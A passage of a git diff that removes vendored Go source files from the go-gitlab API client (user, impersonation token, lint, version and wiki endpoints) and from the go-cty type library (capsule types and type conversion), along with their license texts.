req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// DeleteEmailForUser deletes email owned by a specified user. Available only -// for admin. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/users.html#delete-email-for-given-user -func (s *UsersService) DeleteEmailForUser(user, email int, options ...RequestOptionFunc) (*Response, error) { - u := fmt.Sprintf("users/%d/emails/%d", user, email) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// ImpersonationToken represents an impersonation token. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/users.html#get-all-impersonation-tokens-of-a-user -type ImpersonationToken struct { - ID int `json:"id"` - Name string `json:"name"` - Active bool `json:"active"` - Token string `json:"token"` - Scopes []string `json:"scopes"` - Revoked bool `json:"revoked"` - CreatedAt *time.Time `json:"created_at"` - ExpiresAt *ISOTime `json:"expires_at"` -} - -// GetAllImpersonationTokensOptions represents the available -// GetAllImpersonationTokens() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/users.html#get-all-impersonation-tokens-of-a-user -type GetAllImpersonationTokensOptions struct { - ListOptions - State *string `url:"state,omitempty" json:"state,omitempty"` -} - -// GetAllImpersonationTokens retrieves all impersonation tokens of a user. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/users.html#get-all-impersonation-tokens-of-a-user -func (s *UsersService) GetAllImpersonationTokens(user int, opt *GetAllImpersonationTokensOptions, options ...RequestOptionFunc) ([]*ImpersonationToken, *Response, error) { - u := fmt.Sprintf("users/%d/impersonation_tokens", user) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var ts []*ImpersonationToken - resp, err := s.client.Do(req, &ts) - if err != nil { - return nil, resp, err - } - - return ts, resp, err -} - -// GetImpersonationToken retrieves an impersonation token of a user. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/users.html#get-an-impersonation-token-of-a-user -func (s *UsersService) GetImpersonationToken(user, token int, options ...RequestOptionFunc) (*ImpersonationToken, *Response, error) { - u := fmt.Sprintf("users/%d/impersonation_tokens/%d", user, token) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - t := new(ImpersonationToken) - resp, err := s.client.Do(req, &t) - if err != nil { - return nil, resp, err - } - - return t, resp, err -} - -// CreateImpersonationTokenOptions represents the available -// CreateImpersonationToken() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/users.html#create-an-impersonation-token -type CreateImpersonationTokenOptions struct { - Name *string `url:"name,omitempty" json:"name,omitempty"` - Scopes *[]string `url:"scopes,omitempty" json:"scopes,omitempty"` - ExpiresAt *time.Time `url:"expires_at,omitempty" json:"expires_at,omitempty"` -} - -// CreateImpersonationToken creates an impersonation token. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/users.html#create-an-impersonation-token -func (s *UsersService) CreateImpersonationToken(user int, opt *CreateImpersonationTokenOptions, options ...RequestOptionFunc) (*ImpersonationToken, *Response, error) { - u := fmt.Sprintf("users/%d/impersonation_tokens", user) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - t := new(ImpersonationToken) - resp, err := s.client.Do(req, &t) - if err != nil { - return nil, resp, err - } - - return t, resp, err -} - -// RevokeImpersonationToken revokes an impersonation token. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/users.html#revoke-an-impersonation-token -func (s *UsersService) RevokeImpersonationToken(user, token int, options ...RequestOptionFunc) (*Response, error) { - u := fmt.Sprintf("users/%d/impersonation_tokens/%d", user, token) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// UserActivity represents an entry in the user/activities response -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/users.html#get-user-activities-admin-only -type UserActivity struct { - Username string `json:"username"` - LastActivityOn *ISOTime `json:"last_activity_on"` -} - -// GetUserActivitiesOptions represents the options for GetUserActivities -// -// GitLap API docs: -// https://docs.gitlab.com/ce/api/users.html#get-user-activities-admin-only -type GetUserActivitiesOptions struct { - ListOptions - From *ISOTime `url:"from,omitempty" json:"from,omitempty"` -} - -// GetUserActivities retrieves user activities (admin only) -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/users.html#get-user-activities-admin-only -func (s *UsersService) GetUserActivities(opt *GetUserActivitiesOptions, options ...RequestOptionFunc) ([]*UserActivity, *Response, error) { - req, err := s.client.NewRequest("GET", "user/activities", opt, options) - if err != nil { - return nil, nil, err - } - - var t []*UserActivity - resp, err := s.client.Do(req, &t) - if err != nil { - return nil, resp, err - } - - return t, resp, err -} - -// UserStatus represents the current status of a user -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/users.html#user-status -type UserStatus struct { - Emoji string `json:"emoji"` - Message string `json:"message"` - MessageHTML string `json:"message_html"` -} - -// CurrentUserStatus retrieves the user status -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/users.html#user-status -func (s *UsersService) CurrentUserStatus(options ...RequestOptionFunc) (*UserStatus, *Response, error) { - req, err := s.client.NewRequest("GET", "user/status", nil, options) - if err != nil { - return nil, nil, err - } - - status := new(UserStatus) - resp, err := s.client.Do(req, status) - if err != nil { - return nil, resp, err - } - - return status, resp, err -} - -// GetUserStatus retrieves a user's status -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/users.html#get-the-status-of-a-user -func (s *UsersService) GetUserStatus(user int, options ...RequestOptionFunc) (*UserStatus, *Response, error) { - u := fmt.Sprintf("users/%d/status", user) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - status := new(UserStatus) - resp, err := s.client.Do(req, status) - if err != nil { - return nil, resp, err - } - - return status, resp, err -} - -// UserStatusOptions represents the options required to set the status -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/users.html#set-user-status -type UserStatusOptions struct { - Emoji *string `url:"emoji,omitempty" json:"emoji,omitempty"` - Message *string `url:"message,omitempty" json:"message,omitempty"` -} - -// SetUserStatus sets the user's status -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/users.html#set-user-status -func (s *UsersService) SetUserStatus(opt *UserStatusOptions, options ...RequestOptionFunc) (*UserStatus, *Response, error) { - req, err := s.client.NewRequest("PUT", "user/status", opt, options) - if err != nil { - return nil, nil, err - } - - status := new(UserStatus) - resp, err := s.client.Do(req, status) - if err != nil { - return nil, resp, err - } - - return status, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/validate.go b/vendor/github.com/xanzy/go-gitlab/validate.go deleted file mode 100644 index 099484ef1f..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/validate.go +++ /dev/null @@ -1,40 +0,0 @@ -package gitlab - -// ValidateService handles communication with the validation related methods of -// the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/lint.html -type ValidateService struct { - client *Client -} - -// LintResult represents the linting results. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/lint.html -type LintResult struct { - Status string `json:"status"` - Errors []string `json:"errors"` -} - -// Lint validates .gitlab-ci.yml content. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/lint.html -func (s *ValidateService) Lint(content string, options ...RequestOptionFunc) (*LintResult, *Response, error) { - var opts struct { - Content string `url:"content,omitempty" json:"content,omitempty"` - } - opts.Content = content - - req, err := s.client.NewRequest("POST", "ci/lint", &opts, options) - if err != nil { - return nil, nil, err - } - - l := new(LintResult) - resp, err := s.client.Do(req, l) - if err != nil { - return nil, resp, err - } - - return l, resp, nil -} diff --git a/vendor/github.com/xanzy/go-gitlab/version.go b/vendor/github.com/xanzy/go-gitlab/version.go deleted file mode 100644 index f1a3a7f52e..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/version.go +++ /dev/null @@ -1,56 +0,0 @@ -// -// Copyright 2017, Andrea Funto' -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -// VersionService handles communication with the GitLab server instance to -// retrieve its version information via the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/version.md -type VersionService struct { - client *Client -} - -// Version represents a GitLab instance version. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/version.md -type Version struct { - Version string `json:"version"` - Revision string `json:"revision"` -} - -func (s Version) String() string { - return Stringify(s) -} - -// GetVersion gets a GitLab server instance version; it is only available to -// authenticated users. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/version.md -func (s *VersionService) GetVersion() (*Version, *Response, error) { - req, err := s.client.NewRequest("GET", "version", nil, nil) - if err != nil { - return nil, nil, err - } - - v := new(Version) - resp, err := s.client.Do(req, v) - if err != nil { - return nil, resp, err - } - - return v, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/wikis.go b/vendor/github.com/xanzy/go-gitlab/wikis.go deleted file mode 100644 index ffabef845f..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/wikis.go +++ /dev/null @@ -1,204 +0,0 @@ -// Copyright 2017, Stany MARCEL -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package gitlab - -import ( - "fmt" - "net/url" -) - -// WikisService handles communication with the wikis related methods of -// the Gitlab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/wikis.html -type WikisService struct { - client *Client -} - -// WikiFormat represents the available wiki formats. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/wikis.html -type WikiFormat string - -// The available wiki formats. -const ( - WikiFormatMarkdown WikiFormat = "markdown" - WikiFormatRFoc WikiFormat = "rdoc" - WikiFormatASCIIDoc WikiFormat = "asciidoc" -) - -// Wiki represents a GitLab wiki. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/wikis.html -type Wiki struct { - Content string `json:"content"` - Format WikiFormat `json:"format"` - Slug string `json:"slug"` - Title string `json:"title"` -} - -func (w Wiki) String() string { - return Stringify(w) -} - -// ListWikisOptions represents the available ListWikis options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/wikis.html#list-wiki-pages -type ListWikisOptions struct { - WithContent *bool `url:"with_content,omitempty" json:"with_content,omitempty"` -} - -// ListWikis lists all pages of the wiki of the given project id. -// When with_content is set, it also returns the content of the pages. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/wikis.html#list-wiki-pages -func (s *WikisService) ListWikis(pid interface{}, opt *ListWikisOptions, options ...RequestOptionFunc) ([]*Wiki, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/wikis", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var w []*Wiki - resp, err := s.client.Do(req, &w) - if err != nil { - return nil, resp, err - } - - return w, resp, err -} - -// GetWikiPage gets a wiki page for a given project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/wikis.html#get-a-wiki-page -func (s *WikisService) GetWikiPage(pid interface{}, slug string, options ...RequestOptionFunc) (*Wiki, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/wikis/%s", pathEscape(project), url.PathEscape(slug)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - var w *Wiki - resp, err := s.client.Do(req, &w) - if err != nil { - return nil, resp, err - } - - return w, resp, err -} - -// CreateWikiPageOptions represents options to CreateWikiPage. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/wikis.html#create-a-new-wiki-page -type CreateWikiPageOptions struct { - Content *string `url:"content" json:"content"` - Title *string `url:"title" json:"title"` - Format *string `url:"format,omitempty" json:"format,omitempty"` -} - -// CreateWikiPage creates a new wiki page for the given repository with -// the given title, slug, and content. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/wikis.html#create-a-new-wiki-page -func (s *WikisService) CreateWikiPage(pid interface{}, opt *CreateWikiPageOptions, options ...RequestOptionFunc) (*Wiki, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/wikis", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - w := new(Wiki) - resp, err := s.client.Do(req, w) - if err != nil { - return nil, resp, err - } - - return w, resp, err -} - -// EditWikiPageOptions represents options to EditWikiPage. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/wikis.html#edit-an-existing-wiki-page -type EditWikiPageOptions struct { - Content *string `url:"content" json:"content"` - Title *string `url:"title" json:"title"` - Format *string `url:"format,omitempty" json:"format,omitempty"` -} - -// EditWikiPage Updates an existing wiki page. At least one parameter is -// required to update the wiki page. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/wikis.html#edit-an-existing-wiki-page -func (s *WikisService) EditWikiPage(pid interface{}, slug string, opt *EditWikiPageOptions, options ...RequestOptionFunc) (*Wiki, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/wikis/%s", pathEscape(project), url.PathEscape(slug)) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - w := new(Wiki) - resp, err := s.client.Do(req, w) - if err != nil { - return nil, resp, err - } - - return w, resp, err -} - -// DeleteWikiPage deletes a wiki page with a given slug. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/wikis.html#delete-a-wiki-page -func (s *WikisService) DeleteWikiPage(pid interface{}, slug string, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/wikis/%s", pathEscape(project), url.PathEscape(slug)) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/zclconf/go-cty/LICENSE b/vendor/github.com/zclconf/go-cty/LICENSE deleted file mode 100644 index d6503b5552..0000000000 --- a/vendor/github.com/zclconf/go-cty/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright (c) 2017-2018 Martin Atkins - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/vendor/github.com/zclconf/go-cty/cty/capsule.go b/vendor/github.com/zclconf/go-cty/cty/capsule.go deleted file mode 100644 index 2fdc15eaec..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/capsule.go +++ /dev/null @@ -1,128 +0,0 @@ -package cty - -import ( - "fmt" - "reflect" -) - -type capsuleType struct { - typeImplSigil - Name string - GoType reflect.Type - Ops *CapsuleOps -} - -func (t *capsuleType) Equals(other Type) bool { - if otherP, ok := other.typeImpl.(*capsuleType); ok { - // capsule types compare by pointer identity - return otherP == t - } - return false -} - -func (t *capsuleType) FriendlyName(mode friendlyTypeNameMode) string { - return t.Name -} - -func (t *capsuleType) GoString() string { - impl := t.Ops.TypeGoString - if impl == nil { - // To get a useful representation of our native type requires some - // shenanigans. - victimVal := reflect.Zero(t.GoType) - if t.Ops == noCapsuleOps { - return fmt.Sprintf("cty.Capsule(%q, reflect.TypeOf(%#v))", t.Name, victimVal.Interface()) - } else { - // Including the operations in the output will make this _very_ long, - // so in practice any capsule type with ops ought to provide a - // TypeGoString function to override this with something more - // reasonable. - return fmt.Sprintf("cty.CapsuleWithOps(%q, reflect.TypeOf(%#v), %#v)", t.Name, victimVal.Interface(), t.Ops) - } - } - return impl(t.GoType) -} - -// Capsule creates a new Capsule type. -// -// A Capsule type is a special type that can be used to transport arbitrary -// Go native values of a given type through the cty type system. A language -// that uses cty as its type system might, for example, provide functions -// that return capsule-typed values and then other functions that operate -// on those values. -// -// From cty's perspective, Capsule types have a few interesting characteristics, -// described in the following paragraphs. -// -// Each capsule type has an associated Go native type that it is able to -// transport. Capsule types compare by identity, so each call to the -// Capsule function creates an entirely-distinct cty Type, even if two calls -// use the same native type. -// -// Each capsule-typed value contains a pointer to a value of the given native -// type. A capsule-typed value by default supports no operations except -// equality, and equality is implemented by pointer identity of the -// encapsulated pointer. A capsule type can optionally have its own -// implementations of certain operations if it is created with CapsuleWithOps -// instead of Capsule. -// -// The given name is used as the new type's "friendly name". This can be any -// string in principle, but will usually be a short, all-lowercase name aimed -// at users of the embedding language (i.e. not mention Go-specific details) -// and will ideally not create ambiguity with any predefined cty type. -// -// Capsule types are never introduced by any standard cty operation, so a -// calling application opts in to including them within its own type system -// by creating them and introducing them via its own functions. At that point, -// the application is responsible for dealing with any capsule-typed values -// that might be returned. -func Capsule(name string, nativeType reflect.Type) Type { - return Type{ - &capsuleType{ - Name: name, - GoType: nativeType, - Ops: noCapsuleOps, - }, - } -} - -// CapsuleWithOps is like Capsule except the caller may provide an object -// representing some overloaded operation implementations to associate with -// the given capsule type. -// -// All of the other caveats and restrictions for capsule types still apply, but -// overloaded operations can potentially help a capsule type participate better -// in cty operations. -func CapsuleWithOps(name string, nativeType reflect.Type, ops *CapsuleOps) Type { - // Copy the operations to make sure the caller can't modify them after - // we're constructed. - ourOps := *ops - ourOps.assertValid() - - return Type{ - &capsuleType{ - Name: name, - GoType: nativeType, - Ops: &ourOps, - }, - } -} - -// IsCapsuleType returns true if this type is a capsule type, as created -// by cty.Capsule . -func (t Type) IsCapsuleType() bool { - _, ok := t.typeImpl.(*capsuleType) - return ok -} - -// EncapsulatedType returns the encapsulated native type of a capsule type, -// or panics if the receiver is not a Capsule type. -// -// Is IsCapsuleType to determine if this method is safe to call. -func (t Type) EncapsulatedType() reflect.Type { - impl, ok := t.typeImpl.(*capsuleType) - if !ok { - panic("not a capsule type") - } - return impl.GoType -} diff --git a/vendor/github.com/zclconf/go-cty/cty/capsule_ops.go b/vendor/github.com/zclconf/go-cty/cty/capsule_ops.go deleted file mode 100644 index 3ff6855ecd..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/capsule_ops.go +++ /dev/null @@ -1,132 +0,0 @@ -package cty - -import ( - "reflect" -) - -// CapsuleOps represents a set of overloaded operations for a capsule type. -// -// Each field is a reference to a function that can either be nil or can be -// set to an implementation of the corresponding operation. If an operation -// function is nil then it isn't supported for the given capsule type. -type CapsuleOps struct { - // GoString provides the GoString implementation for values of the - // corresponding type. Conventionally this should return a string - // representation of an expression that would produce an equivalent - // value. - GoString func(val interface{}) string - - // TypeGoString provides the GoString implementation for the corresponding - // capsule type itself. - TypeGoString func(goTy reflect.Type) string - - // Equals provides the implementation of the Equals operation. This is - // called only with known, non-null values of the corresponding type, - // but if the corresponding type is a compound type then it must be - // ready to detect and handle nested unknown or null values, usually - // by recursively calling Value.Equals on those nested values. - // - // The result value must always be of type cty.Bool, or the Equals - // operation will panic. - // - // If RawEquals is set without also setting Equals, the RawEquals - // implementation will be used as a fallback implementation. That fallback - // is appropriate only for leaf types that do not contain any nested - // cty.Value that would need to distinguish Equals vs. RawEquals for their - // own equality. - // - // If RawEquals is nil then Equals must also be nil, selecting the default - // pointer-identity comparison instead. - Equals func(a, b interface{}) Value - - // RawEquals provides the implementation of the RawEquals operation. - // This is called only with known, non-null values of the corresponding - // type, but if the corresponding type is a compound type then it must be - // ready to detect and handle nested unknown or null values, usually - // by recursively calling Value.RawEquals on those nested values. - // - // If RawEquals is nil, values of the corresponding type are compared by - // pointer identity of the encapsulated value. - RawEquals func(a, b interface{}) bool - - // ConversionFrom can provide conversions from the corresponding type to - // some other type when values of the corresponding type are used with - // the "convert" package. (The main cty package does not use this operation.) - // - // This function itself returns a function, allowing it to switch its - // behavior depending on the given source type. Return nil to indicate - // that no such conversion is available. - ConversionFrom func(src Type) func(interface{}, Path) (Value, error) - - // ConversionTo can provide conversions to the corresponding type from - // some other type when values of the corresponding type are used with - // the "convert" package. (The main cty package does not use this operation.) - // - // This function itself returns a function, allowing it to switch its - // behavior depending on the given destination type. Return nil to indicate - // that no such conversion is available. - ConversionTo func(dst Type) func(Value, Path) (interface{}, error) - - // ExtensionData is an extension point for applications that wish to - // create their own extension features using capsule types. - // - // The key argument is any value that can be compared with Go's == - // operator, but should be of a named type in a package belonging to the - // application defining the key. An ExtensionData implementation must - // check to see if the given key is familar to it, and if so return a - // suitable value for the key. - // - // If the given key is unrecognized, the ExtensionData function must - // return a nil interface. (Importantly, not an interface containing a nil - // pointer of some other type.) - // The common implementation of ExtensionData is a single switch statement - // over "key" which has a default case returning nil. - // - // The meaning of any given key is entirely up to the application that - // defines it. Applications consuming ExtensionData from capsule types - // should do so defensively: if the result of ExtensionData is not valid, - // prefer to ignore it or gracefully produce an error rather than causing - // a panic. - ExtensionData func(key interface{}) interface{} -} - -// noCapsuleOps is a pointer to a CapsuleOps with no functions set, which -// is used as the default operations value when a type is created using -// the Capsule function. -var noCapsuleOps = &CapsuleOps{} - -func (ops *CapsuleOps) assertValid() { - if ops.RawEquals == nil && ops.Equals != nil { - panic("Equals cannot be set without RawEquals") - } -} - -// CapsuleOps returns a pointer to the CapsuleOps value for a capsule type, -// or panics if the receiver is not a capsule type. -// -// The caller must not modify the CapsuleOps. -func (ty Type) CapsuleOps() *CapsuleOps { - if !ty.IsCapsuleType() { - panic("not a capsule-typed value") - } - - return ty.typeImpl.(*capsuleType).Ops -} - -// CapsuleExtensionData is a convenience interface to the ExtensionData -// function that can be optionally implemented for a capsule type. It will -// check to see if the underlying type implements ExtensionData and call it -// if so. If not, it will return nil to indicate that the given key is not -// supported. -// -// See the documentation for CapsuleOps.ExtensionData for more information -// on the purpose of and usage of this mechanism. -// -// If CapsuleExtensionData is called on a non-capsule type then it will panic. -func (ty Type) CapsuleExtensionData(key interface{}) interface{} { - ops := ty.CapsuleOps() - if ops.ExtensionData == nil { - return nil - } - return ops.ExtensionData(key) -} diff --git a/vendor/github.com/zclconf/go-cty/cty/collection.go b/vendor/github.com/zclconf/go-cty/cty/collection.go deleted file mode 100644 index ab3919b14b..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/collection.go +++ /dev/null @@ -1,34 +0,0 @@ -package cty - -import ( - "errors" -) - -type collectionTypeImpl interface { - ElementType() Type -} - -// IsCollectionType returns true if the given type supports the operations -// that are defined for all collection types. -func (t Type) IsCollectionType() bool { - _, ok := t.typeImpl.(collectionTypeImpl) - return ok -} - -// ElementType returns the element type of the receiver if it is a collection -// type, or panics if it is not. Use IsCollectionType first to test whether -// this method will succeed. -func (t Type) ElementType() Type { - if ct, ok := t.typeImpl.(collectionTypeImpl); ok { - return ct.ElementType() - } - panic(errors.New("not a collection type")) -} - -// ElementCallback is a callback type used for iterating over elements of -// collections and attributes of objects. -// -// The types of key and value depend on what type is being iterated over. -// Return true to stop iterating after the current element, or false to -// continue iterating. -type ElementCallback func(key Value, val Value) (stop bool) diff --git a/vendor/github.com/zclconf/go-cty/cty/convert/compare_types.go b/vendor/github.com/zclconf/go-cty/cty/convert/compare_types.go deleted file mode 100644 index d84f6ac104..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/convert/compare_types.go +++ /dev/null @@ -1,165 +0,0 @@ -package convert - -import ( - "github.com/zclconf/go-cty/cty" -) - -// compareTypes implements a preference order for unification. -// -// The result of this method is not useful for anything other than unification -// preferences, since it assumes that the caller will verify that any suggested -// conversion is actually possible and it is thus able to to make certain -// optimistic assumptions. -func compareTypes(a cty.Type, b cty.Type) int { - - // DynamicPseudoType always has lowest preference, because anything can - // convert to it (it acts as a placeholder for "any type") and we want - // to optimistically assume that any dynamics will converge on matching - // their neighbors. - if a == cty.DynamicPseudoType || b == cty.DynamicPseudoType { - if a != cty.DynamicPseudoType { - return -1 - } - if b != cty.DynamicPseudoType { - return 1 - } - return 0 - } - - if a.IsPrimitiveType() && b.IsPrimitiveType() { - // String is a supertype of all primitive types, because we can - // represent all primitive values as specially-formatted strings. - if a == cty.String || b == cty.String { - if a != cty.String { - return 1 - } - if b != cty.String { - return -1 - } - return 0 - } - } - - if a.IsListType() && b.IsListType() { - return compareTypes(a.ElementType(), b.ElementType()) - } - if a.IsSetType() && b.IsSetType() { - return compareTypes(a.ElementType(), b.ElementType()) - } - if a.IsMapType() && b.IsMapType() { - return compareTypes(a.ElementType(), b.ElementType()) - } - - // From this point on we may have swapped the two items in order to - // simplify our cases. Therefore any non-zero return after this point - // must be multiplied by "swap" to potentially invert the return value - // if needed. - swap := 1 - switch { - case a.IsTupleType() && b.IsListType(): - fallthrough - case a.IsObjectType() && b.IsMapType(): - fallthrough - case a.IsSetType() && b.IsTupleType(): - fallthrough - case a.IsSetType() && b.IsListType(): - a, b = b, a - swap = -1 - } - - if b.IsSetType() && (a.IsTupleType() || a.IsListType()) { - // We'll just optimistically assume that the element types are - // unifyable/convertible, and let a second recursive pass - // figure out how to make that so. - return -1 * swap - } - - if a.IsListType() && b.IsTupleType() { - // We'll just optimistically assume that the tuple's element types - // can be unified into something compatible with the list's element - // type. - return -1 * swap - } - - if a.IsMapType() && b.IsObjectType() { - // We'll just optimistically assume that the object's attribute types - // can be unified into something compatible with the map's element - // type. - return -1 * swap - } - - // For object and tuple types, comparing two types doesn't really tell - // the whole story because it may be possible to construct a new type C - // that is the supertype of both A and B by unifying each attribute/element - // separately. That possibility is handled by Unify as a follow-up if - // type sorting is insufficient to produce a valid result. - // - // Here we will take care of the simple possibilities where no new type - // is needed. - if a.IsObjectType() && b.IsObjectType() { - atysA := a.AttributeTypes() - atysB := b.AttributeTypes() - - if len(atysA) != len(atysB) { - return 0 - } - - hasASuper := false - hasBSuper := false - for k := range atysA { - if _, has := atysB[k]; !has { - return 0 - } - - cmp := compareTypes(atysA[k], atysB[k]) - if cmp < 0 { - hasASuper = true - } else if cmp > 0 { - hasBSuper = true - } - } - - switch { - case hasASuper && hasBSuper: - return 0 - case hasASuper: - return -1 * swap - case hasBSuper: - return 1 * swap - default: - return 0 - } - } - if a.IsTupleType() && b.IsTupleType() { - etysA := a.TupleElementTypes() - etysB := b.TupleElementTypes() - - if len(etysA) != len(etysB) { - return 0 - } - - hasASuper := false - hasBSuper := false - for i := range etysA { - cmp := compareTypes(etysA[i], etysB[i]) - if cmp < 0 { - hasASuper = true - } else if cmp > 0 { - hasBSuper = true - } - } - - switch { - case hasASuper && hasBSuper: - return 0 - case hasASuper: - return -1 * swap - case hasBSuper: - return 1 * swap - default: - return 0 - } - } - - return 0 -} diff --git a/vendor/github.com/zclconf/go-cty/cty/convert/conversion.go b/vendor/github.com/zclconf/go-cty/cty/convert/conversion.go deleted file mode 100644 index 8d177f151c..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/convert/conversion.go +++ /dev/null @@ -1,190 +0,0 @@ -package convert - -import ( - "github.com/zclconf/go-cty/cty" -) - -// conversion is an internal variant of Conversion that carries around -// a cty.Path to be used in error responses. -type conversion func(cty.Value, cty.Path) (cty.Value, error) - -func getConversion(in cty.Type, out cty.Type, unsafe bool) conversion { - conv := getConversionKnown(in, out, unsafe) - if conv == nil { - return nil - } - - // Wrap the conversion in some standard checks that we don't want to - // have to repeat in every conversion function. - var ret conversion - ret = func(in cty.Value, path cty.Path) (cty.Value, error) { - if in.IsMarked() { - // We must unmark during the conversion and then re-apply the - // same marks to the result. - in, inMarks := in.Unmark() - v, err := ret(in, path) - if v != cty.NilVal { - v = v.WithMarks(inMarks) - } - return v, err - } - - if out == cty.DynamicPseudoType { - // Conversion to DynamicPseudoType always just passes through verbatim. - return in, nil - } - if !in.IsKnown() { - return cty.UnknownVal(out), nil - } - if in.IsNull() { - // We'll pass through nulls, albeit type converted, and let - // the caller deal with whatever handling they want to do in - // case null values are considered valid in some applications. - return cty.NullVal(out), nil - } - - return conv(in, path) - } - - return ret -} - -func getConversionKnown(in cty.Type, out cty.Type, unsafe bool) conversion { - switch { - - case out == cty.DynamicPseudoType: - // Conversion *to* DynamicPseudoType means that the caller wishes - // to allow any type in this position, so we'll produce a do-nothing - // conversion that just passes through the value as-is. - return dynamicPassthrough - - case unsafe && in == cty.DynamicPseudoType: - // Conversion *from* DynamicPseudoType means that we have a value - // whose type isn't yet known during type checking. For these we will - // assume that conversion will succeed and deal with any errors that - // result (which is why we can only do this when "unsafe" is set). - return dynamicFixup(out) - - case in.IsPrimitiveType() && out.IsPrimitiveType(): - conv := primitiveConversionsSafe[in][out] - if conv != nil { - return conv - } - if unsafe { - return 